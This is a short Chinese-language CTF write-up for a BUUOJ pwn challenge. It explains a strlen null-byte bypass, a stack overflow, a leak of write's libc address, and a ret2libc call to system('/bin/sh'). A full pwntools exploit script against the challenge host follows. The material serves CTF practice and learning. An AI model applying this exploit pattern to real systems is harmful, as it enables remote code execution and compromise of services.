标签:并且 write 计算 补充 ext rem lin 停止 选择
找了半天发现浏览器太小没有看见给的libc.so链接
首先是字符串的比较
read是读到‘\n‘停止,而strlen是到‘/0‘就停止
所以我们可以让第一个字符为‘\x00‘绕过字符串比较
然后就是把v5覆盖得大一点 好让后面的read有机会溢出
然后就是libc.so泄露
libc.so可以给我们提供一套函数的地址,并且在里面虽有函数的相对位置都是固定的。意思是如果我们知道了每一个函数的真实地址,我们可以根据给出的libc.so计算出其他函数的真实地址(实际上就是要得到system_addr)
这里选择泄露write_addr,之后计算出system_addr
同样libc.so里面会有‘/bin/sh‘这样的字符串,计算出真实地址拿出来用就是了
补充:因为对于传参的引用不会使用pop而是直接利用ebp指向,所以ret后面紧跟下一个要ret函数的地址(如果没有想要跳转的函数,用4个/8个字符填充之后才能跟传参) 这里第20行就是write_plt之后紧跟main_addr进行第二次溢出调用system
from pwn import * io=remote(‘node3.buuoj.cn‘,28972) # io=process(‘./pwn‘) elf=ELF(‘./pwn‘) libc=ELF(‘./libc-2.23.so‘) system_libc=libc.symbols[‘system‘] binsh_libc=libc.search(‘/bin/sh‘).next() write_libc=libc.symbols[‘write‘] write_plt=elf.plt[‘write‘] write_got=elf.got[‘write‘] main_addr=0x8048825 payload=‘\x00‘+‘\xff‘*10 io.sendline(payload) io.recvuntil("Correct\n") payload=‘a‘*(0xe7+4)+p32(write_plt)+p32(main_addr) # ret1 ret2 payload+=p32(1)+p32(write_got)+p32(4) #write par1 par2 par3 io.sendline(payload) write_addr=u32(io.recv(4)) base=write_addr-write_libc system_addr=system_libc+base binsh_addr=binsh_libc+base payload=‘\x00‘+‘\xff‘*10 io.sendline(payload) io.recvuntil("Correct\n") payload=‘a‘*(0xe7+4)+p32(system_addr)+p32(main_addr) payload+=p32(binsh_addr) io.sendline(payload) io.interactive() # rdi, rsi, rdx, rcx, r8, r9
标签:并且 write 计算 补充 ext rem lin 停止 选择
原文地址:https://www.cnblogs.com/lxy8584099/p/11823563.html